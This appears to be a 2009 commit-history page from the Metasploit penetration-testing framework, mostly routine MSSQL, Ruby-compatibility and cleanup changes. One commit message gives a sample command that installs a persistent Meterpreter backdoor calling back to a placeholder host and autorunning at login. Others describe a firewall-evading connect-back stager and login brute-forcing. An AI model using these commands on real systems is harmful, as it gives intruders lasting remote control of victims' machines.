Commit Graph

10891 Commits

Author SHA1 Message Date
HD Moore b53a596ff0 Merge in David Kennedy's new MSSQL changes (centralized SQL query mixin)
git-svn-id: file:///home/svn/framework3/trunk@7236 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 19:15:32 +00:00
HD Moore 07653cb452 Fix a typo for 1.9.1 support
git-svn-id: file:///home/svn/framework3/trunk@7232 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 13:58:21 +00:00
HD Moore 1acf372dce Roll Lorcon2 into the metasploit tree, still testing the modules. See #378
git-svn-id: file:///home/svn/framework3/trunk@7228 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 04:32:26 +00:00
HD Moore 51ad52d63a Moving towards beta
git-svn-id: file:///home/svn/framework3/trunk@7221 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-21 02:36:02 +00:00
HD Moore 00b2915554 Fixes #342. Set ReverseConnectRetries to a value between 1 and 255 (default is 5). On failure it will ExitProcess (still better than a cpu spin)
git-svn-id: file:///home/svn/framework3/trunk@7217 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 20:31:14 +00:00
kris b75ef037c3 more tabs vs spaces, and fix a few mismatched indentation levels (def/end, etc)
git-svn-id: file:///home/svn/framework3/trunk@7211 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 17:24:33 +00:00
HD Moore 15e39e95db Fixes #386. Adds a persistent VBS payload option (keep running the payload in a loop) via the loop-vbs type in msfencode. Adds a 'persistence' script to allow easy persistent meterpeter agent deployment. "run persistence -h" for help. Sample command line:
meterpreter> run persistence -r 1.2.3.4 -p 443 -A -X -i 300

This would install a meterpreter agent that would try to connect to 1.2.3.4:443 once every 300 seconds. This would also start a multi/handler in the background (-A) and make this autorun when any user logs in (-X). In most scenarios, this works just fine:

meterpreter> run persistence -A

This uses your default IP and the default port and immediates handles the next connection, but doesnt install via the registry.



git-svn-id: file:///home/svn/framework3/trunk@7204 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 02:42:39 +00:00
HD Moore 4ac27c9803 Consolidate common APIs into the mixin
git-svn-id: file:///home/svn/framework3/trunk@7195 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 20:58:01 +00:00
et dc415c76ca Fixes #364. Added error message detection and signatures
git-svn-id: file:///home/svn/framework3/trunk@7187 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 19:46:30 +00:00
HD Moore 4d4c0905ef Slightly improved error handling for auxiliary and exploit modules. Improved brute forcing mode for mssql_login. Serious errors (broken code, etc) are bubbled up in auxiliary scanners now. Fixes #384 by reading wordlists one line at a time and not buffering
git-svn-id: file:///home/svn/framework3/trunk@7185 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 18:03:02 +00:00
HD Moore 88fba8c38a Handle a null response better
git-svn-id: file:///home/svn/framework3/trunk@7180 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 03:09:30 +00:00
HD Moore 490545602a Chunk long sql queries into blocks, fixes mssql_payload
git-svn-id: file:///home/svn/framework3/trunk@7179 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 03:07:25 +00:00
HD Moore 681e2c940c Fixes #379. Massive rewrite of the MSSQL mixin. This moves everything to TDS 7.0 instead of the old crusty protocol
git-svn-id: file:///home/svn/framework3/trunk@7178 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 01:17:58 +00:00
HD Moore d0b07c0c3f Fixes #353. If the problem persists, make sure 'cygpath' is installed, it sounds like the root cause is 3.3-dev being run inside of an existing cygwin environment.
git-svn-id: file:///home/svn/framework3/trunk@7176 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 06:41:37 +00:00
HD Moore 27192b303b Fixes #270. Allow the user to set BasicAuthUser and BasicAuthPass in order to authenticate using the HTTP mixin
git-svn-id: file:///home/svn/framework3/trunk@7175 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 06:20:14 +00:00
HD Moore d3aa513773 Fixes #339. Cleans up author names for the most part - there are still some stragglers, but this should fix up the frequent contributors
git-svn-id: file:///home/svn/framework3/trunk@7173 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 05:55:15 +00:00
HD Moore ce25403e18 Fixes #356. Delete poorly formatted reference entries, preventing bad reference objects from being stored in the actual module
git-svn-id: file:///home/svn/framework3/trunk@7172 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 05:25:29 +00:00
kris efe44ba6b5 bleh.. a bit of tabs vs spaces
git-svn-id: file:///home/svn/framework3/trunk@7171 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-16 18:27:18 +00:00
HD Moore 3b49e2af58 Add an optional timeout for mssql
git-svn-id: file:///home/svn/framework3/trunk@7161 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 20:56:36 +00:00
HD Moore ce9bfec34f Fix string handling
git-svn-id: file:///home/svn/framework3/trunk@7160 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 17:51:44 +00:00
HD Moore cd2968a32a Updated mssql_sql and backend mixin, can handle most column types and is somewhat usable as a mssql client
git-svn-id: file:///home/svn/framework3/trunk@7159 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 17:41:12 +00:00
HD Moore c5b23fbb02 Better result parsing, fix a slice!() on nil
git-svn-id: file:///home/svn/framework3/trunk@7158 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 14:25:26 +00:00
HD Moore a782a68c42 Complete overhaul of the MSSQL API, fixes 1.9 compat issues and makes the MSSQL testing easier
git-svn-id: file:///home/svn/framework3/trunk@7154 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-13 22:24:47 +00:00
kris e0f885d50c Let db_autopwn -I/-X work with a single addr
git-svn-id: file:///home/svn/framework3/trunk@7126 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-04 20:20:43 +00:00
kris 47d8e02389 Specify that db_autopwn -b is default
git-svn-id: file:///home/svn/framework3/trunk@7125 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-04 19:48:48 +00:00
kris 50f2f90646 db_autopwn -I/-X fix for Ruby 1.9 (calling each() on a string). Now commas
are allowed in the host specs in general.


git-svn-id: file:///home/svn/framework3/trunk@7124 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-04 19:43:06 +00:00
HD Moore 06818ae2bf Handle cases where a scanned host has no ports open
git-svn-id: file:///home/svn/framework3/trunk@7122 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-03 20:05:36 +00:00
HD Moore 9e19121858 Print an error if openssl is not installed, this is a workaround until we have a better way to show how missing optional dependencies affect the feature set.
git-svn-id: file:///home/svn/framework3/trunk@7116 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 14:24:10 +00:00
HD Moore 35fcf8c2b2 Swap around rbreadline - load it by default, but also allow the old readline with the -L (--real-readline) parameter to msfconsole. This also fixes absolute path handling for msfconsole command passthrough
git-svn-id: file:///home/svn/framework3/trunk@7115 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 14:17:03 +00:00
kris f13bf727c8 See #348. Make platform list (platform_to_s) a comma separated string as the
method comment suggests (other *_to_s methods are like this).  This wasn't an
issue before, but now otherwise Ruby 1.9 prints arrays differently like:

Platform: ["Windows", "Linux", "BSD", "Solaris", "BSDi", "OSX"]



git-svn-id: file:///home/svn/framework3/trunk@7103 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-01 05:47:51 +00:00
kris 8efeb58285 add simple sessions -K to kill all. useful at least when i'm testing.
git-svn-id: file:///home/svn/framework3/trunk@7100 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 23:00:15 +00:00
et debf126d32 Save wmap reports to a file
git-svn-id: file:///home/svn/framework3/trunk@7096 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 04:20:06 +00:00
HD Moore ce1b528b05 Fixes msfgui to load properly again
git-svn-id: file:///home/svn/framework3/trunk@7094 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 03:20:11 +00:00
HD Moore 3647d1c524 Time to give up the warning, any leftover bugs are probably applicable to 1.8.x too
git-svn-id: file:///home/svn/framework3/trunk@7081 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-28 03:15:10 +00:00
HD Moore d5c62fa7e2 Make msfweb easier to exclude in packaging
git-svn-id: file:///home/svn/framework3/trunk@7080 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-28 03:12:56 +00:00
HD Moore 5972666f63 See #339. Massive cleanup of author names, make them consistent across modules
git-svn-id: file:///home/svn/framework3/trunk@7075 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-27 21:30:45 +00:00
kris 41157e97fe make run -a functional
git-svn-id: file:///home/svn/framework3/trunk@7068 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-26 22:34:48 +00:00
HD Moore f036d807e3 Register the session before calling the handler's on_session() method, there may have been good reasons to avoid this before, by walking through the code it doesn't seem like they are still applicable. Fixes #266
git-svn-id: file:///home/svn/framework3/trunk@7067 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-26 18:47:44 +00:00
HD Moore ee9a8f4f76 Adds support for the reverse_tcp_allports stager for Windows. This payload tries to connect back on all ports, one at a time, from LPORT to 65535. This is incredibly slow (depends on the default socket timeout) and requires the user to forward all TCP ports of LHOST to a single listening port in the handler. Inspired by a few user requests and this blog post: http://clinicallyawesome.com/post/196352889/blind-connect-back-through-restrictive-firewall
git-svn-id: file:///home/svn/framework3/trunk@7058 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-25 05:44:50 +00:00
HD Moore 069144f56a Dont print the bind message for the any address
git-svn-id: file:///home/svn/framework3/trunk@7057 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-24 20:52:58 +00:00
HD Moore eaf5368f98 Allow the DisablePayloadHandler option to be set, this prevents the default payload handler from being called. Fixes #307
git-svn-id: file:///home/svn/framework3/trunk@7056 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-24 20:36:30 +00:00
HD Moore 0d1098e6bf Make the SMB connect() method take an optional 'global' argument, allows for secondary SMB connections
git-svn-id: file:///home/svn/framework3/trunk@7053 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-22 21:26:20 +00:00
James Lee a127213a70 Assignment-by-reference causes breakage when using the Array.new(num, obj) syntax. Fixes #330
git-svn-id: file:///home/svn/framework3/trunk@7052 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-22 06:49:52 +00:00
James Lee 21ff66996a make logging a little more useful when encoding
git-svn-id: file:///home/svn/framework3/trunk@7051 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-22 06:45:58 +00:00
HD Moore c34c999ac3 Remove the default versions, since these are not used. See #333
git-svn-id: file:///home/svn/framework3/trunk@7050 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 22:14:58 +00:00
HD Moore 1ba927f80e Updated and verbose errors to assist with error handling. See #278
git-svn-id: file:///home/svn/framework3/trunk@7047 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 20:25:08 +00:00
HD Moore f3708fb933 Fixes #278. Handle cases where a reload fails and indicate why
git-svn-id: file:///home/svn/framework3/trunk@7046 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 20:22:45 +00:00
HD Moore cdbfe74b1b Fixes #273. Move the passivex default port to 8000 so it doesnt conflict with the default HttpServer port
git-svn-id: file:///home/svn/framework3/trunk@7044 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 19:46:08 +00:00
HD Moore 1d21e41156 Fix references searching from the console. Fixes #304
git-svn-id: file:///home/svn/framework3/trunk@7043 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 19:40:00 +00:00
kris 29134be27a Fixes #336. Don't add 'NSS-<id>' to ref list when importing Nessus nbe/xml to
database (report/patch by erwinpdev).

This NSS- stuff was in the original nbe code before things were copied and
reworked for the xml handling.  I'm not sure why it was there; the NSS id is
already available in the database (name).

Note that ref lists generated here can be empty now, which I think is fine.



git-svn-id: file:///home/svn/framework3/trunk@7040 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-18 17:33:46 +00:00